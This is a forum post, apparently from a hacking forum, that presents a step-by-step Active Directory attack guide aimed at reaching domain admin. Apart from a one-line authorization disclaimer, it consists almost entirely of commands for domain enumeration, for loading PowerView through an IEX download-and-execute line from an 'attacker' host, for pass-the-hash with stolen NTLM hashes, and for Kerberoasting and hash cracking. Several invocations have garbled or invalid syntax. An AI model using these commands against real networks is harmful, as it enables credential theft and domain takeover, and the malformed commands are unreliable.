Active Directory Domination: From User to Domain Admin

[Blacksec]

Active Directory Domination: From User to Domain Admin ​

---

> Posted by: ad_phantom | Rank: Legend | Joined: 2021 [/I]

---

Spoiler: For Authorized Assessments Only

These techniques require explicit authorization. Don't test on production AD without written permission.

Active Directory is the backbone of enterprise networks. Compromise it and you own everything.

I've spent years mastering AD attacks. This guide covers the modern attack paths from initial access to domain dominance.

---

━━━ AD RECON PHASE ━━━[/B]

Essential Commands:

# Basic domain info
whoami /domain
whoami /groups
net group "Domain Admins" /domain
net group "Domain Users" /domain
net group "Enterprise Admins" /domain

# Enumerate users
net user /domain
wmic useraccount get /all

# Enumerate computers
net computer /domain
nltest /dclist:DOMAIN

# Enumerate groups
net group /domain
net group "Domain Admins" /domain

# OU Structure
dsacls "DC=domain,DC=com"

PowerView Recon:

# Load PowerView
IEX (New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")

# Find all users
Get-NetUser | Select samaccountname,description,pwdlastset,lastlogon

# Find high-value targets
Get-NetUser -AdminCount | Select samaccountname

# Find group memberships
Get-NetGroup -Domain domain.com
Get-NetGroupMember "Domain Admins"

# Find unconstrained delegation
Get-NetComputer -UnConstrained

# Find constrained delegation
Get-NetUser -TrustedToAuth

# Find GPOs
Get-NetGPO
Get-NetGPOGroup

# Find AD CS (Certificate Services)
Find-ADCSConnectionPoint

---

━━━ INITIAL ACCESS PATHS ━━━

1. Pass-the-Hash (PtH):

# Using stolen NTLM hash
pass-the-hash.exe //targetDC/administrator:hash
psexec.exe \\targetDC -s cmd.exe

2. Kerberoasting:

# Request TGS for service accounts
Impacket-kerberoast requests/TGS.py domain.com/user:password -dc-ip DC_IP

# Crack the hashes
hashcat -m 13100 kerberoasted.hash rockyou.txt

# Service accounts often have weak passwords

[/b]